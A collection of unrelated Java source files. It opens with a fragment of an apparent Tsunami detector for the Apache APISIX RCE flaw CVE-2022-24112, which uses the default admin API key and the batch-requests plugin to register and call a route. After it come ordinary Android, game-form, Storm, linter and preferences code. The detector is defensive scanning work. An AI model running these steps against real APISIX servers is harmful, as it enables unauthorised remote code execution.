batchRequestBody = batchRequestBody.replace(placeholders[i], replacements[i]);
}
HttpResponse resp = null;
try {
resp =
httpClient.send(
post(targetUri + BATCH_REQUEST_PATH)
.setHeaders(headers)
.setRequestBody(ByteString.copyFromUtf8(batchRequestBody))
.build(),
networkService);
} catch (Exception e) {
logger.atWarning().log("Failed to send request.");
}
return resp;
}
private boolean registerRouteRequest(NetworkService networkService, String filterFunc) {
HttpResponse resp = executeBatchRequest(networkService, filterFunc);
return resp != null
&& resp.status().code() == HttpStatus.OK.code()
&& resp.bodyJson().isPresent()
&& containsOkStatus(resp.bodyJson().get());
}
private boolean containsOkStatus(JsonElement jsonElement) {
try {
return jsonElement
.getAsJsonArray()
.get(0)
.getAsJsonObject()
.get("status")
.getAsString()
.matches("200|201");
} catch (Exception e) {
logger.atInfo().log("Best effort Json parsing failed for %s.", jsonElement);
}
return false;
}
private HttpResponse executeCreatedRouteRequest(NetworkService networkService) {
String targetUri = NetworkServiceUtils.buildWebApplicationRootUrl(networkService);
HttpHeaders headers =
HttpHeaders.builder()
.addHeader("X-API-KEY", DEFAULT_ADMIN_KEY_TOKEN)
.addHeader(CONTENT_TYPE, "application/json")
.addHeader(CONNECTION, "close")
.build();
HttpResponse resp = null;
try {
resp =
httpClient.send(
get(targetUri + PIPE_REQUEST_BODY_URI).setHeaders(headers).build(), networkService);
} catch (Exception e) {
logger.atWarning().log("Failed to send request.");
}
return resp;
}
private DetectionReport buildDetectionReport(
TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
return DetectionReport.newBuilder()
.setTargetInfo(targetInfo)
.setNetworkService(vulnerableNetworkService)
.setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
.setVulnerability(
Vulnerability.newBuilder()
.setMainId(
VulnerabilityId.newBuilder()
.setPublisher("TSUNAMI_COMMUNITY")
.setValue("CVE-2022-24112"))
.setSeverity(Severity.CRITICAL)
.setTitle("Apache APISIX RCE (CVE-2022-24112)")
.setDescription(
"Some of Apache APISIX 2.x versions allows attacker to"
+ " bypass IP restrictions of Admin API through the batch-requests plugin."
+ " A default configuration of Apache APISIX (with default API key) is"
+ " vulnerable to remote code execution through the plugin."))
.build();
}
}
|
package net.dlogic.kryonet.client.event.callback;
import net.dlogic.kryonet.common.entity.Room;
import net.dlogic.kryonet.common.entity.User;
public interface IRoomEventCallback {
public void onGetRooms(Room[] rooms);
public void onJoinRoomFailure(String errorMessage);
public void onJoinRoomSuccess(User userJoined, Room roomJoined);
public void onLeaveRoom(User userLeft, Room roomLeft);
}
|
package org.inaturalist.android;
import android.content.Context;
import android.content.Intent;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable;
import android.os.Build;
import android.os.Handler;
import android.os.Looper;
import android.text.Html;
import android.text.Spannable;
import android.text.SpannableString;
import android.text.Spanned;
import android.text.style.URLSpan;
import android.text.util.Linkify;
import android.widget.TextView;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import com.squareup.picasso.Picasso;
import com.squareup.picasso.Target;
import org.json.JSONException;
import org.json.JSONObject;
import org.tinylog.Logger;
import java.util.HashMap;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import me.saket.bettermovementmethod.BetterLinkMovementMethod;
public class HtmlUtils {
private static final String TAG = "HtmlUtils";
/** Formats HTML string onto the specified text view */
public static void fromHtml(TextView textView, String html) {
Context context = textView.getContext();
// Replace new lines (\n) with <br> tags
html = html.replaceAll("\r", "");
html = html.replaceAll("\n", "<br />");
// For displaying <img> tags
Picasso picasso = Picasso.with(context);
PicassoImageGetter imageGetter = new PicassoImageGetter(picasso, textView);
Spanned htmlText;
if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.M) {
htmlText = Html.fromHtml(html, imageGetter, null);
} else {
htmlText = Html.fromHtml(html,
Html.FROM_HTML_OPTION_USE_CSS_COLORS |
Html.FROM_HTML_SEPARATOR_LINE_BREAK_BLOCKQUOTE |
Html.FROM_HTML_SEPARATOR_LINE_BREAK_HEADING |
Html.FROM_HTML_SEPARATOR_LINE_BREAK_LIST |
Html.FROM_HTML_SEPARATOR_LINE_BREAK_LIST_ITEM |
Html.FROM_HTML_SEPARATOR_LINE_BREAK_PARAGRAPH |
Html.TO_HTML_PARAGRAPH_LINES_CONSECUTIVE,
imageGetter,
null
);
}
URLSpan[] currentSpans = htmlText.getSpans(0, htmlText.length(), URLSpan.class);
// So pressing on links will work (open up a browser or email client)
SpannableString buffer = new SpannableString(htmlText);
Linkify.addLinks(buffer, Linkify.ALL);
// Turn @username mentions into clickable links
Linkify.TransformFilter filter = new Linkify.TransformFilter() {
public final String transformUrl(final Matcher match, String url) {
return match.group();
}
};
Pattern mentionPattern = Pattern.compile("@([A-Za-z0-9_-]+)");
Linkify.addLinks(buffer, mentionPattern, null, null, filter);
for (URLSpan span : currentSpans) {
int end = htmlText.getSpanEnd(span);
int start = htmlText.getSpanStart(span);
buffer.setSpan(span, start, end, 0);
}
Spanned finalHtmlText = buffer;
BetterLinkMovementMethod linker = BetterLinkMovementMethod.newInstance();
textView.setMovementMethod(linker);
linker.setOnLinkClickListener((tv, url) -> {
if (url.startsWith("@")) {
// Username mention - show user profile screen
try {
JSONObject item = new JSONObject();
item.put("login", url.substring(1));
Intent intent = new Intent(context, UserProfile.class);
intent.putExtra("user", new BetterJSONObject(item));
context.startActivity(intent);
} catch (JSONException e) {
e.printStackTrace();
}
return true;
} else {
// Regular URL - use default action (e.g. open browser)
return false;
}
});
textView.setLinksClickable(true);
textView.setFocusable(false);
textView.setText(finalHtmlText);
}
/** Used for displaying <img> tags */
private static class PicassoImageGetter implements Html.ImageGetter {
private TextView mTextView;
private Picasso mPicasso;
public PicassoImageGetter(@NonNull Picasso picasso, @NonNull TextView textView) {
mPicasso = picasso;
mTextView = textView;
}
@Override
public Drawable getDrawable(String source) {
Logger.tag(TAG).debug("Start loading url " + source);
BitmapDrawablePlaceHolder drawable = new BitmapDrawablePlaceHolder(mTextView.getContext());
mPicasso
.load(source)
.error(R.drawable.ic_error_black_24dp)
.into(drawable);
return drawable;
}
private class BitmapDrawablePlaceHolder extends BitmapDrawable implements Target {
protected Drawable mDrawable;
private Context mContext;
public BitmapDrawablePlaceHolder(Context context) {
mContext = context;
}
@Override
public void draw(final Canvas canvas) {
if (mDrawable != null) {
checkBounds();
mDrawable.draw(canvas);
}
}
public void setDrawable(@Nullable Drawable drawable) {
if (drawable != null) {
mDrawable = drawable;
checkBounds();
}
}
private void checkBounds() {
float defaultProportion = (float) mDrawable.getIntrinsicWidth() / (float) mDrawable.getIntrinsicHeight();
int width = Math.min(mTextView.getWidth(), mDrawable.getIntrinsicWidth());
int height = (int) ((float) width / defaultProportion);
if (getBounds().right != mTextView.getWidth() || getBounds().bottom != height) {
setBounds(0, 0, mTextView.getWidth(), height); //set to full width
int halfOfPlaceHolderWidth = (int) ((float) getBounds().right / 2f);
int halfOfImageWidth = (int) ((float) width / 2f);
mDrawable.setBounds(
halfOfPlaceHolderWidth - halfOfImageWidth, //centering an image
0,
halfOfPlaceHolderWidth + halfOfImageWidth,
height);
mTextView.setText(mTextView.getText()); //refresh text
}
}
@Override
public void onBitmapLoaded(Bitmap bitmap, Picasso.LoadedFrom from) {
setDrawable(new BitmapDrawable(mContext.getResources(), bitmap));
}
@Override
public void onBitmapFailed(Drawable errorDrawable) {
setDrawable(errorDrawable);
}
@Override
public void onPrepareLoad(Drawable placeHolderDrawable) {
setDrawable(placeHolderDrawable);
}
}
}
}
|
package com.dungeonstory.form;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import org.vaadin.viritin.fields.ElementCollectionField;
import org.vaadin.viritin.fields.EnumSelect;
import org.vaadin.viritin.fields.IntegerField;
import org.vaadin.viritin.fields.MTextArea;
import org.vaadin.viritin.fields.MTextField;
import org.vaadin.viritin.fields.MValueChangeEvent;
import org.vaadin.viritin.fields.MValueChangeListener;
import org.vaadin.viritin.fields.TypedSelect;
import com.dungeonstory.FormCheckBox;
import com.dungeonstory.backend.Configuration;
import com.dungeonstory.backend.data.Ability;
import com.dungeonstory.backend.data.Condition;
import com.dungeonstory.backend.data.DamageType;
import com.dungeonstory.backend.data.Equipment;
import com.dungeonstory.backend.data.Spell;
import com.dungeonstory.backend.data.Spell.AreaOfEffect;
import com.dungeonstory.backend.data.Spell.CastingTime;
import com.dungeonstory.backend.data.Spell.ComponentType;
import com.dungeonstory.backend.data.Spell.DurationType;
import com.dungeonstory.backend.data.Spell.MagicSchool;
import com.dungeonstory.backend.data.Spell.RangeType;
import com.dungeonstory.backend.data.Spell.Target;
import com.dungeonstory.backend.data.Spell.TimeUnit;
import com.dungeonstory.backend.data.SpellEffect;
import com.dungeonstory.backend.data.SpellEffect.EffectType;
import com.dungeonstory.backend.service.DataService;
import com.dungeonstory.backend.service.impl.AbilityService;
import com.dungeonstory.backend.service.impl.DamageTypeService;
import com.dungeonstory.backend.service.impl.EquipmentService;
import com.dungeonstory.backend.service.mock.MockAbilityService;
import com.dungeonstory.backend.service.mock.MockDamageTypeService;
import com.dungeonstory.backend.service.mock.MockEquipmentService;
import com.dungeonstory.util.field.DSSubSetSelector;
import com.vaadin.ui.Component;
import com.vaadin.ui.FormLayout;
import com.vaadin.ui.TextArea;
import com.vaadin.ui.TextField;
public class SpellForm extends DSAbstractForm<Spell> {
private static final long serialVersionUID = 5527570482793876891L;
private TextField name;
private IntegerField level;
private TextArea description;
private EnumSelect<MagicSchool> school;
private DSSubSetSelector<ComponentType> componentTypes;
private DSSubSetSelector<Equipment> components;
private EnumSelect<CastingTime> castingTime;
private IntegerField castingTimeValue;
private EnumSelect<TimeUnit> castingTimeUnit;
private EnumSelect<DurationType> duration;
private IntegerField durationValue;
private EnumSelect<TimeUnit> durationTimeUnit;
private EnumSelect<Target> target;
private EnumSelect<AreaOfEffect> areaOfEffect;
private EnumSelect<RangeType> range;
private IntegerField rangeValueInFeet;
private TypedSelect<Ability> savingThrowAbility;
private FormCheckBox attackRoll;
private FormCheckBox higherLevel;
private ElementCollectionField<SpellEffect> effects;
private DataService<Equipment, Long> equipmentService = null;
private DataService<DamageType, Long> damageTypeService = null;
private DataService<Ability, Long> abilityService = null;
public SpellForm() {
super();
if (Configuration.getInstance().isMock()) {
equipmentService = MockEquipmentService.getInstance();
damageTypeService = MockDamageTypeService.getInstance();
abilityService = MockAbilityService.getInstance();
} else {
equipmentService = EquipmentService.getInstance();
damageTypeService = DamageTypeService.getInstance();
abilityService = AbilityService.getInstance();
}
}
@Override
public String toString() {
return "Sort";
}
public static class SpellEffectRow {
EnumSelect<EffectType> effectType = new EnumSelect<EffectType>();
MTextField damage = new MTextField().withWidth("100px");
TypedSelect<DamageType> damageType = new TypedSelect<DamageType>();
IntegerField armorClass = new IntegerField().withWidth("100px");
EnumSelect<Condition> condition = new EnumSelect<Condition>();
}
@Override
protected Component createContent() {
FormLayout layout = new FormLayout();
name = new MTextField("Nom");
level = new IntegerField("Niveau");
description = new MTextArea("Description").withFullWidth();
school = new EnumSelect<>("École de magie");
componentTypes = new DSSubSetSelector<ComponentType>(ComponentType.class);
componentTypes.setCaption("Types de composant");
componentTypes.setVisibleProperties("name");
componentTypes.setColumnHeader("name", "Type de composant");
componentTypes.setOptions(Arrays.asList(ComponentType.values()));
componentTypes.setValue(new HashSet<ComponentType>()); // nothing selected
componentTypes.setWidth("50%");
componentTypes.addValueChangeListener(event -> showComponents());
components = new DSSubSetSelector<Equipment>(Equipment.class);
components.setCaption("Composants matériels");
components.setVisibleProperties("name");
components.setColumnHeader("name", "Composant");
components.setOptions((List<Equipment>) equipmentService.findAll());
components.setValue(new HashSet<Equipment>()); // nothing selected
components.setWidth("50%");
castingTime = new EnumSelect<CastingTime>("Type de temps d'incantation");
castingTimeValue = new IntegerField("Valeur de temps");
castingTimeUnit = new EnumSelect<TimeUnit>("Unité de temps");
castingTime.addMValueChangeListener(event -> showCastingTime());
duration = new EnumSelect<DurationType>("Type de durée du sort");
durationValue = new IntegerField("Valeur de durée");
durationTimeUnit = new EnumSelect<TimeUnit>("Unité de durée");
duration.addMValueChangeListener(event -> showDuration());
target = new EnumSelect<Target>("Cible du sort");
areaOfEffect = new EnumSelect<AreaOfEffect>("Zone d'effet");
target.addMValueChangeListener(event -> showAreaOfEffect());
range = new EnumSelect<RangeType>("Portée du sort");
rangeValueInFeet = new IntegerField("Portée (en pieds)");
range.addMValueChangeListener(event -> showRange());
savingThrowAbility = new TypedSelect<Ability>("Capacité de jet de sauvegarde", abilityService.findAll());
attackRoll = new FormCheckBox("Nécessite un jet d'attaque");
higherLevel = new FormCheckBox("Peut être lancé à plus haut niveau");
effects = new ElementCollectionField<SpellEffect>(SpellEffect.class, SpellEffectRow.class).withCaption("Effets")
.withEditorInstantiator(() -> {
SpellEffectRow row = new SpellEffectRow();
row.effectType.setOptions(Arrays.asList(EffectType.values()));
row.condition.setOptions(Arrays.asList(Condition.values()));
row.damageType.setOptions(damageTypeService.findAll());
row.effectType.addMValueChangeListener(new MValueChangeListener<EffectType>() {
private static final long serialVersionUID = 5150637627258948217L;
@Override
public void valueChange(MValueChangeEvent<EffectType> event) {
if (event != null && event.getValue() != null) {
switch (event.getValue()) {
case DAMAGE:
row.damage.setVisible(true);
row.damageType.setVisible(true);
row.armorClass.setVisible(false);
row.condition.setVisible(false);
break;
case CURE:
row.damage.setVisible(true);
row.damageType.setVisible(false);
row.armorClass.setVisible(false);
row.condition.setVisible(false);
break;
case ADD_CONDITION:
case REMOVE_CONDITION:
row.damage.setVisible(false);
row.damageType.setVisible(false);
row.armorClass.setVisible(false);
row.condition.setVisible(true);
break;
case PROTECTION:
row.damage.setVisible(false);
row.damageType.setVisible(false);
row.armorClass.setVisible(true);
row.condition.setVisible(false);
break;
case RESISTANCE:
row.damage.setVisible(false);
row.damageType.setVisible(true);
row.armorClass.setVisible(false);
row.condition.setVisible(false);
break;
case SUMMON:
case OTHER:
row.damage.setVisible(false);
row.damageType.setVisible(false);
row.armorClass.setVisible(false);
row.condition.setVisible(false);
break;
}
} else {
row.damage.setVisible(false);
row.damageType.setVisible(false);
row.armorClass.setVisible(false);
row.condition.setVisible(false);
}
}
});
return row;
});
effects.setPropertyHeader("effectType", "Effet");
effects.setPropertyHeader("damage", "Dommage");
effects.setPropertyHeader("damageType", "Type dommage");
effects.setPropertyHeader("armorClass", "Classe d'armure");
effects.setPropertyHeader("condition", "Condition");
layout.addComponent(name);
layout.addComponent(level);
layout.addComponent(description);
layout.addComponent(school);
layout.addComponent(componentTypes);
layout.addComponent(components);
layout.addComponent(castingTime);
layout.addComponent(castingTimeValue);
layout.addComponent(castingTimeUnit);
layout.addComponent(duration);
layout.addComponent(durationValue);
layout.addComponent(durationTimeUnit);
layout.addComponent(target);
layout.addComponent(areaOfEffect);
layout.addComponent(range);
layout.addComponent(rangeValueInFeet);
layout.addComponent(savingThrowAbility);
layout.addComponent(attackRoll);
layout.addComponent(higherLevel);
layout.addComponent(effects);
layout.addComponent(getToolbar());
// init fields visibility
showAreaOfEffect();
showCastingTime();
showComponents();
showDuration();
showRange();
return layout;
}
private void showComponents() {
components.setVisible(componentTypes.getTable().containsId(ComponentType.M));
}
private void showCastingTime() {
castingTimeValue.setVisible(castingTime.getValue() == CastingTime.TIME);
castingTimeUnit.setVisible(castingTime.getValue() == CastingTime.TIME);
}
private void showDuration() {
durationValue.setVisible(duration.getValue() == DurationType.TIME);
durationTimeUnit.setVisible(duration.getValue() == DurationType.TIME);
}
private void showAreaOfEffect() {
areaOfEffect.setVisible(target.getValue() == Target.POINT);
}
private void showRange() {
rangeValueInFeet.setVisible(range.getValue() == RangeType.DISTANCE);
}
}
|
package tests.eu.qualimaster.storm;
import java.util.Map;
import eu.qualimaster.common.signal.AggregationKeyProvider;
import eu.qualimaster.common.signal.BaseSignalSourceSpout;
import eu.qualimaster.common.signal.ParameterChangeSignal;
import eu.qualimaster.common.signal.ShutdownSignal;
import eu.qualimaster.common.signal.SourceMonitor;
import eu.qualimaster.dataManagement.DataManager;
import eu.qualimaster.dataManagement.strategies.NoStorageStrategyDescriptor;
import eu.qualimaster.events.EventManager;
import eu.qualimaster.monitoring.events.AlgorithmChangedMonitoringEvent;
import backtype.storm.spout.SpoutOutputCollector;
import backtype.storm.task.TopologyContext;
import backtype.storm.topology.OutputFieldsDeclarer;
import backtype.storm.tuple.Fields;
import backtype.storm.tuple.Values;
/**
* An simple reusable spout.
*
* @param <S> the source type
* @author Holger Eichelberger
*/
@SuppressWarnings("serial")
public class Source<S extends ISrc> extends BaseSignalSourceSpout {
private static SignalCollector signals = new SignalCollector(Naming.LOG_SOURCE);
private Class<S> srcClass;
private transient SpoutOutputCollector collector;
private transient S source;
/**
* Creates a source instance.
*
* @param srcClass the source class
* @param pipeline the pipeline name
*/
public Source(Class<S> srcClass, String pipeline) {
super(Naming.NODE_SOURCE, pipeline);
this.srcClass = srcClass;
}
/**
* Returns the source. Only valid after {@link #open(Map, TopologyContext, SpoutOutputCollector)}.
*
* @return the source, may be <b>null</b>
*/
protected S getSource() {
return source;
}
@SuppressWarnings("rawtypes")
@Override
public void open(Map stormConf, TopologyContext context, SpoutOutputCollector collector) {
super.open(stormConf, context, collector);
this.collector = collector;
if (Naming.defaultInitializeAlgorithms(stormConf)) {
try {
source = srcClass.newInstance();
EventManager.send(new AlgorithmChangedMonitoringEvent(getPipeline(), Naming.NODE_SOURCE, "source"));
// for coordination level tests, there is no monitoring layer to support auto-connect
source.connect();
} catch (IllegalAccessException e) {
} catch (InstantiationException e) {
}
} else {
source = DataManager.DATA_SOURCE_MANAGER.createDataSource(getPipeline(), srcClass,
NoStorageStrategyDescriptor.INSTANCE);
if (!DataManager.isStarted()) { // DML workaround
source.connect();
}
}
initializeParams(stormConf, this.source);
}
/**
* Initializes the parameters.
*
* @param stormConf the storm configuration map
* @param source the source instance
*/
@SuppressWarnings("rawtypes")
protected void initializeParams(Map stormConf, S source) {
}
@Override
public void nextTuple() {
startMonitoring();
Integer value = source.getData();
if (null != value && isEnabled(value)) {
Values values = new Values(value);
this.collector.emit(values);
endMonitoring();
}
}
@Override
public void declareOutputFields(OutputFieldsDeclarer declarer) {
declarer.declare(new Fields("number"));
}
@Override
public void notifyParameterChange(ParameterChangeSignal signal) {
signals.notifyParameterChange(signal);
}
@Override
protected void prepareShutdown(ShutdownSignal signal) {
signals.notifyShutdown(signal);
}
// testing
/**
* Returns the signal collector.
*
* @return the signal collector
*/
public SignalCollector getSignals() {
return signals;
}
@Override
public void close() {
if (null != source) {
// for coordination level tests, there is no monitoring layer to support auto-disconnect
source.disconnect();
}
super.close();
}
@Override
public void configure(SourceMonitor monitor) {
monitor.setAggregationInterval(1000);
monitor.registerAggregationKeyProvider(new AggregationKeyProvider<Integer>(Integer.class) {
@Override
public String getAggregationKey(Integer tuple) {
return String.valueOf(tuple % 5); // % 5 force some source volume aggregation
}
});
}
}
|
package net.idlesoft.android.apps.github.ui.activities;
import com.google.inject.Inject;
import com.actionbarsherlock.app.ActionBar;
import com.actionbarsherlock.view.Menu;
import com.actionbarsherlock.view.MenuInflater;
import com.actionbarsherlock.view.MenuItem;
import net.idlesoft.android.apps.github.GitHubClientProvider;
import net.idlesoft.android.apps.github.HubroidConstants;
import net.idlesoft.android.apps.github.R;
import net.idlesoft.android.apps.github.ui.activities.app.AccountSelectActivity;
import net.idlesoft.android.apps.github.ui.activities.app.HomeActivity;
import net.idlesoft.android.apps.github.ui.fragments.BaseFragment;
import net.idlesoft.android.apps.github.ui.fragments.app.AboutDialogFragment;
import org.eclipse.egit.github.core.User;
import org.eclipse.egit.github.core.client.GitHubClient;
import org.eclipse.egit.github.core.client.GsonUtils;
import android.accounts.Account;
import android.accounts.AccountsException;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.res.Configuration;
import android.graphics.Color;
import android.net.Uri;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.support.v4.app.FragmentManager;
import android.support.v4.app.FragmentTransaction;
import android.widget.Toast;
import java.io.IOException;
public abstract class BaseActivity extends RoboSherlockFragmentActivity {
protected static final int NO_LAYOUT = -1;
/*
* Intent Extra keys
*/
protected static final String KEY_CURRENT_USER = "current_user";
protected SharedPreferences mPrefs;
protected SharedPreferences.Editor mPrefsEditor;
protected static Account mCurrentAccount;
protected static GitHubClient mGitHubClient;
protected
Configuration mConfiguration;
@Inject
private
GitHubClientProvider mGitHubClientProvider;
private FragmentTransaction mFragmentTransaction;
private boolean mAnonymous;
private boolean mRefreshPrevious;
private boolean mCreateActionBarCalled = false;
private boolean mRefreshing = false;
private User mCurrentContext = null;
private final FragmentManager.OnBackStackChangedListener mOnBackStackChangedListener =
new FragmentManager.OnBackStackChangedListener() {
@Override
public void onBackStackChanged() { /* Invalidate the options menu whenever the backstack changes */
invalidateOptionsMenu();
}
};
public Context getContext() {
return getApplicationContext();
}
protected void onCreate(final Bundle icicle, final int layout) {
super.onCreate(icicle);
if (layout != NO_LAYOUT) {
setContentView(layout);
}
mConfiguration = getResources().getConfiguration();
mPrefs = PreferenceManager.getDefaultSharedPreferences(getContext());
mPrefsEditor = mPrefs.edit();
/* Make sure we're using the right theme */
getApplicationContext().setTheme(R.style.Theme_Hubroid);
/* Refresh the options menu (and the rest of the Action Bar) when the backstack changes */
getSupportFragmentManager().addOnBackStackChangedListener(mOnBackStackChangedListener);
}
protected void onCreate(final Bundle icicle) {
onCreate(icicle, NO_LAYOUT);
}
@Override
public void onAttachedToWindow() {
super.onAttachedToWindow();
getWindow().getDecorView().setBackgroundColor(Color.WHITE);
}
public boolean isMultiPane() {
return getResources().getBoolean(R.bool.multi_paned);
}
public GitHubClient getGHClient() throws IOException, AccountsException {
if (mGitHubClient == null) {
if (mCurrentAccount == null) {
mGitHubClient = mGitHubClientProvider.getAnonymousClient();
} else {
mGitHubClient = mGitHubClientProvider.getClient(mCurrentAccount);
}
mCurrentAccount = mGitHubClientProvider.getCurrentUser();
}
return mGitHubClient;
}
public Account getCurrentUserAccount() {
return mCurrentAccount;
}
public User getCurrentUser() {
final String json = mPrefs.getString(HubroidConstants.PREF_CURRENT_USER, "");
return GsonUtils.fromJson(json, User.class);
}
public String getCurrentUserLogin() {
return mPrefs.getString(HubroidConstants.PREF_CURRENT_USER_LOGIN, "");
}
public String getCurrentContextLogin() {
return mPrefs.getString(HubroidConstants.PREF_CURRENT_CONTEXT_LOGIN, getCurrentUserLogin());
}
public void setCurrentContextLogin(final String context) {
mPrefsEditor.putString(HubroidConstants.PREF_CURRENT_CONTEXT_LOGIN, context);
mPrefsEditor.apply();
}
public void startActivity(Class<?> targetActivity) {
startActivity(new Intent(this, targetActivity));
}
public void startFragmentTransaction() {
if (mFragmentTransaction != null) {
throw new IllegalStateException(
"Fragment transaction already started. End the existing one before starting a new instance.");
}
mFragmentTransaction = getSupportFragmentManager().beginTransaction();
}
public void addFragmentToTransaction(Class<? extends BaseFragment> fragmentClass, int container,
Bundle arguments) {
if (mFragmentTransaction == null) {
throw new IllegalStateException(
"BaseActivity Fragment transaction is null, start a new one with startFragmentTransaction().");
}
BaseFragment fragment;
try {
fragment = (BaseFragment) fragmentClass.newInstance();
} catch (Exception e) {
e.printStackTrace();
fragment = new BaseFragment();
}
if (arguments != null) {
fragment.setArguments(arguments);
}
if (!isMultiPane() && container != R.id.container_main) {
container = R.id.container_main;
}
mFragmentTransaction.replace(container, fragment, fragmentClass.getName());
}
public void finishFragmentTransaction(boolean backstack) {
if (mFragmentTransaction == null) {
throw new IllegalStateException(
"There is no Fragment transaction to finish (it is null).");
}
if (backstack) {
mFragmentTransaction.addToBackStack(null);
}
mFragmentTransaction.commitAllowingStateLoss();
/* Set the activity's transaction to null so a new one can be created */
mFragmentTransaction = null;
}
public void finishFragmentTransaction() {
finishFragmentTransaction(true);
}
private void popToast(final String message, int length) {
Toast.makeText(getApplication(), message, length).show();
}
public void popLongToast(final String message) {
popToast(message, Toast.LENGTH_LONG);
}
public void popShortToast(final String message) {
popToast(message, Toast.LENGTH_SHORT);
}
public void onCreateActionBar(ActionBar bar) {
mCreateActionBarCalled = true;
bar.setDisplayShowHomeEnabled(true);
/* The all-white icon plays nicer with the theme */
bar.setIcon(R.drawable.ic_launcher_white);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
super.onCreateOptionsMenu(menu);
/* Inflate menu from XML */
MenuInflater inflater = getSherlock().getMenuInflater();
inflater.inflate(R.menu.actionbar, menu);
/* Show default actions */
menu.findItem(R.id.actionbar_action_select_account).setVisible(true);
mCreateActionBarCalled = false;
onCreateActionBar(getSupportActionBar());
if (!mCreateActionBarCalled) {
throw new IllegalStateException("You must call super() in onCreateActionBar()");
}
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
final Intent intent;
switch (item.getItemId()) {
case android.R.id.home:
intent = new Intent();
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
intent.setClass(getApplicationContext(), HomeActivity.class);
startActivity(intent);
finish();
return true;
case R.id.actionbar_action_select_account:
startActivity(AccountSelectActivity.class);
return true;
case R.id.actionbar_action_report_issue:
intent = new Intent();
intent.setAction(Intent.ACTION_VIEW);
intent.setData(Uri.parse("https://github.com/eddieringle/hubroid/issues"));
startActivity(intent);
return true;
case R.id.actionbar_action_about:
AboutDialogFragment about = new AboutDialogFragment();
about.show(getSupportFragmentManager(), AboutDialogFragment.class.getName());
return true;
default:
return super.onOptionsItemSelected(item);
}
}
public void setRefreshPrevious(final boolean refreshPrevious) {
mRefreshPrevious = refreshPrevious;
}
/**
* Check if a past life wants us to refresh our data This is a one-time-only check, so be sure to
* store the value if you need to
*/
public boolean getRefreshPrevious() {
final boolean oldValue = mRefreshPrevious;
mRefreshPrevious = false;
return oldValue;
}
public void onStartRefresh() {
mRefreshing = true;
}
public void onFinishRefresh() {
mRefreshing = false;
}
protected void doRefresh() {
}
/**
* This method is useful when creating Executables to run on a DataFragment and you need to know if
* the data should be refreshed from its source or if it's okay to use cached information (or
* something like that).
*
* @return Whether or not the UIFragment is refreshing its data & UI
*/
public boolean isRefreshing() {
return mRefreshing;
}
public SharedPreferences getPrefs() {
return mPrefs;
}
public SharedPreferences.Editor getPrefsEditor() {
return mPrefsEditor;
}
}
|
package com.cflint.plugins.core;
import java.util.HashMap;
import java.util.Map;
import com.cflint.BugList;
import com.cflint.plugins.CFLintScannerAdapter;
import com.cflint.plugins.Context;
import cfml.parsing.cfscript.CFExpression;
import cfml.parsing.cfscript.CFLiteral;
import cfml.parsing.cfscript.script.CFCompDeclStatement;
import cfml.parsing.cfscript.script.CFScriptStatement;
import ro.fortsoft.pf4j.Extension;
@Extension
public class LiteralChecker extends CFLintScannerAdapter {
final protected int REPEAT_THRESHOLD = 3;
final protected int WARNING_THRESHOLD = 5;
protected int threshold = REPEAT_THRESHOLD;
protected int warningThreshold = WARNING_THRESHOLD;
protected Map<String, Integer> globalLiterals = new HashMap<String, Integer>();
protected Map<String, Integer> functionListerals = new HashMap<String, Integer>();
// May want to consider resetting literal map on new components but this way
// detects duplicated literals across files which is useful
@Override
public void expression(final CFExpression expression, final Context context, final BugList bugs) {
final String repeatThreshold = getParameter("Maximum");
final String maxWarnings = getParameter("MaxWarnings");
final String warningScope = getParameter("WarningScope");
if (repeatThreshold != null) {
threshold = Integer.parseInt(repeatThreshold);
}
if (maxWarnings != null) {
warningThreshold = Integer.parseInt(maxWarnings);
}
if (expression instanceof CFLiteral) {
final CFLiteral literal = (CFLiteral) expression;
final String name = literal.Decompile(0).replace("'", "");
if (isCommon(name)) {
return;
}
final int lineNo = literal.getLine() + context.startLine() - 1;
if (warningScope == null || warningScope.equals("global")) {
literalCount(name, lineNo, globalLiterals, true, context, bugs);
} else if (warningScope.equals("local")) {
literalCount(name, lineNo, functionListerals, false, context, bugs);
}
}
}
@Override
public void expression(final CFScriptStatement expression, final Context context, final BugList bugs) {
if (expression instanceof CFCompDeclStatement) {
functionListerals.clear();
}
}
protected void literalCount(final String name, final int lineNo, final Map<String, Integer> literals,
final boolean global, final Context context, final BugList bugs) {
int count = 1;
if (literals.get(name) == null) {
literals.put(name, count);
} else {
count = literals.get(name);
count++;
literals.put(name, count);
}
if (count > threshold && (warningThreshold == -1 || (count - threshold) <= warningThreshold)) {
if (global) {
magicGlobalValue(name, lineNo, context, bugs);
} else {
magicLocalValue(name, lineNo, context, bugs);
}
}
}
protected boolean isCommon(final String name) {
return name.equals("1") || name.equals("0") || name.equals("") || name.equals("true") || name.equals("false");
}
public void magicLocalValue(final String name, final int lineNo, final Context context, final BugList bugs) {
if (!isSpecial(name.toLowerCase()) ){
context.addUniqueMessage("LOCAL_LITERAL_VALUE_USED_TOO_OFTEN", name, this, lineNo);
}
}
private boolean isSpecial(String name) {
return getParameterAsList("IgnoreWords").contains(name.toLowerCase())
|| name.startsWith("cf_sql_");
}
public void magicGlobalValue(final String name, final int lineNo, final Context context, final BugList bugs) {
if (!isSpecial(name.toLowerCase()) ){
context.addUniqueMessage("GLOBAL_LITERAL_VALUE_USED_TOO_OFTEN", name, this, lineNo);
}
}
}
|
package com.cyrillrx.android.utils;
import android.content.Context;
import android.content.SharedPreferences;
import android.preference.PreferenceManager;
import android.support.annotation.NonNull;
import com.google.gson.Gson;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
public class PrefUtils {
protected static SharedPreferences getPreferences(Context context) {
return PreferenceManager.getDefaultSharedPreferences(context.getApplicationContext());
}
public static SharedPreferences.Editor edit(final Context context) {
return getPreferences(context).edit();
